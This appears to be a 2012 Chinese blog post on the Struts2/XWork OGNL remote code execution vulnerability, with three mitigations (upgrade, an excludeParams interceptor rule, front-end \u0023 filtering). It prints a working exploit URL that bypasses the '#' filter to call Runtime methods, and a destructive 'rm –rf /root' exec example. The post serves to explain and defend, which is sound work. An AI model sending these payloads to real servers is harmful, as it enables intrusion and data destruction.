Struts2/XWork 安全漏洞及解决办法

exploit-db网站在7月14日爆出了一个Struts2的远程执行任意代码的漏洞。 
漏洞名称:Struts2/XWork < 2.2.0 Remote Command Execution Vulnerability 
相关介绍:
  • http://www.exploit-db.com/exploits/14360/
  • http://sebug.net/exploit/19954/

Struts2的核心是使用的webwork框架,处理 action时通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL(这里是ONGL的介绍)语句。当我们提交一个http参数: 
Java代码
  1. ?user.address.city=Bishkek&user['favoriteDrink']=kumys  

ONGL将它转换为: 
Java代码
  1. action.getUser().getAddress().setCity("Bishkek")  
  2. action.getUser().setFavoriteDrink("kumys")  

这是通过ParametersInterceptor(参数过滤器)来执行的,使用用户提供的HTTP参数调用 ValueStack.setValue()。 
为了防范篡改服务器端对象,XWork的ParametersInterceptor不允许参数名中出现“#”字符,但如果使用了Java的 unicode字符串表示\u0023,攻击者就可以绕过保护,修改保护Java方式执行的值: 
Java代码
  1. ?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1  

转义后是这样: 
Java代码
  1. ?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1  

OGNL处理时最终的结果就是
Java代码
  1. java.lang.Runtime.getRuntime().exit(1);  

类似的可以执行
Java代码
  1. java.lang.Runtime.getRuntime().exec("rm –rf /root")  
,只要有权限就可以删除任何一个目录。 
目前尝试了3个解决方案: 

1.升级到struts2.2版本。 
这个可以避免这个问题,但是struts开发团队没有release这个版本(包括最新的2.2.1版本都没有release),经我测试发现新版本虽然解决了上述的漏洞,但是新的问题是strus标签出问题了。 
Java代码
  1. <s:bean id="UserUtil" name="cn.com.my_corner.util.UserUtil"></s:bean>  
  2. <s:property value="#UserUtil.getType().get(cType.toString())" />  

这样的标签在struts2.0中是可以使用的,但是新版中就不解析了,原因就是“#”的问题导致的,补了漏洞,正常的使用也用不了了。 
所以sebug网站上的建议升级到2.2版本是不可行的。 

2.struts参数过滤。 
Java代码
  1. <interceptor-ref name="params">  
  2. <param name="excludeParams">.*\\u0023.*</param>  
  3. </interceptor-ref>  

这个可以解决漏洞问题,缺点是工作量大,每个项目都得改struts配置文件。如果项目里,是引用的一个类似global.xml的配置文件,工作量相应减少一些。 

3.在前端请求进行过滤。 
比如在ngnix,apache进行拦截,参数中带有\u0023的一律视为攻击,跳转到404页面或者别的什么页面。这样做的一个前提就是没人把#号转码后作为参数传递。 

目前来看后两种是比较有效的方法,采用第三种方法比较简便。是否有另外的解决办法,欢迎大家讨论。
 
posted @ 2012-02-07 17:24  万法自然~  阅读(243)  评论(0编辑  收藏  举报